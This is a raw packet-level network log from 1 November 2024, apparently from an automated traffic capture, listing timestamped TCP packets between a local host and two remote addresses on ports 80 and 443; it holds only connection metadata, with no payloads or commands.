Nov 1, 2024 03:46:19.820878983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.820919037 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.820965052 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.820976973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.820997953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821021080 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821229935 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.821270943 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821304083 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.821316004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.821340084 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821353912 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821611881 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.821650982 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821681976 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.821695089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.821716070 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821732998 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821887016 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.821901083 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.821918964 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.821944952 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.855772018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.855839014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.855849981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.855861902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.855896950 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.855931044 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.855971098 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.939765930 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.939814091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.939826012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.939837933 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.939872980 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.940046072 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940057993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940068007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940114975 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.940305948 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940361977 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.940433025 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940443993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940495014 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.940567970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940614939 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.940717936 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940728903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.940773964 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.974363089 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.974443913 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.974445105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.974457979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.974483013 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.974505901 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.974570036 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.974611998 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:19.974651098 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:19.974684000 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.058319092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.058330059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.058341026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.058428049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.058428049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.058454990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.058465958 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.058487892 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.058516979 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.058693886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.058728933 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.058762074 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.058773041 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.058794975 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.058810949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.059082031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.059122086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.059159040 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.059171915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.059187889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.059210062 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.059375048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.059386969 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.059411049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.059427023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.093036890 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.093090057 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.093111038 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.093141079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.093189001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.093206882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.093228102 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.093240023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.093305111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.093343973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.093355894 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.093388081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.177259922 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177273989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177284956 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177341938 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.177369118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177378893 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.177381039 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177395105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177402020 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.177421093 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.177438974 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.177779913 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177823067 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.177860975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177872896 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.177896023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.177908897 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.178064108 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.178107023 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.178339005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.178379059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.178412914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.178426981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.178445101 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.178472042 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.182168961 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.182249069 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.211786032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.211838961 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.211884022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.211894989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.211966038 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.212069988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.212069988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.212069988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.212107897 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.212119102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.212147951 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.212171078 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.218151093 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.218163967 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.218389034 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.238665104 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.238665104 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.238750935 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.296098948 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296144962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296156883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296165943 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.296194077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.296365023 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296382904 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296400070 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.296431065 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.296561003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296600103 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.296639919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296681881 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.296767950 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296780109 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296808004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.296819925 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.296891928 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.296931028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.297018051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.297029018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.297076941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.297076941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.330574036 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.330631018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.330631971 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.330641985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.330665112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.330688953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.330756903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.330796003 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.330861092 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.330872059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.330897093 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.330914974 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.414952040 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415003061 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415039062 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415050983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415081024 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415092945 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415244102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415255070 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415273905 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415297985 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415683985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415694952 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415705919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415719986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415731907 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415759087 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415777922 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415788889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415798903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.415806055 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415832996 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.415843010 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.416265965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.416284084 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.416309118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.416320086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.449254990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.449307919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.449326992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.449367046 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.449390888 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.449424028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.449481010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.449517965 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.449552059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.449589968 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.449614048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.449657917 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.449675083 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.449717999 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.533716917 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.533766985 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.533787012 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.533806086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.533869028 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.533906937 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.533929110 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.533962011 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.534034014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.534044981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.534080982 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.534101009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.534257889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.534300089 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.534331083 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.534343004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.534379005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.534379005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.534527063 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.534568071 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.534849882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.534858942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.534890890 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.534899950 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.535022974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.535042048 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.535052061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.535065889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.535089970 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.568120956 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.568133116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.568145037 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.568201065 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.568234921 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.568237066 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.568275928 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.568336010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.568376064 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.568447113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.568491936 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.568523884 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.568536043 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.568571091 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.652544022 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.652585983 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.652596951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.652605057 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.652620077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.652640104 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.652844906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.652856112 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.652868032 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.652892113 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.652906895 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.653028965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.653074026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.653079033 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.653086901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.653122902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.653304100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.653326988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.653342009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.653495073 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.653537035 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.653570890 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.653583050 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.653604031 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.653620005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.653784990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.653831959 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.686907053 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.686986923 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.687020063 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.687032938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.687060118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.687060118 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.687083960 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.687096119 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.687156916 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.687167883 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.687200069 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.687221050 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.687350988 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.687398911 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.694202900 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694258928 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694288969 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694298029 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.694310904 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694349051 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.694353104 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694365978 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694417000 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.694598913 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694797039 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694824934 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694844961 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.694853067 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.694895983 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.698970079 CET	443	58528	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:20.742428064 CET	58528	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:20.771228075 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771265984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771276951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771292925 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.771323919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.771384001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771425009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.771467924 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771478891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771513939 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.771529913 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.771720886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771770000 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.771785975 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771801949 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.771826029 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.771837950 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.772087097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.772131920 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.772151947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.772162914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.772202015 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:20.772304058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:20.772349119 CET	58527	80	192.168.2.6	185.215.113.16
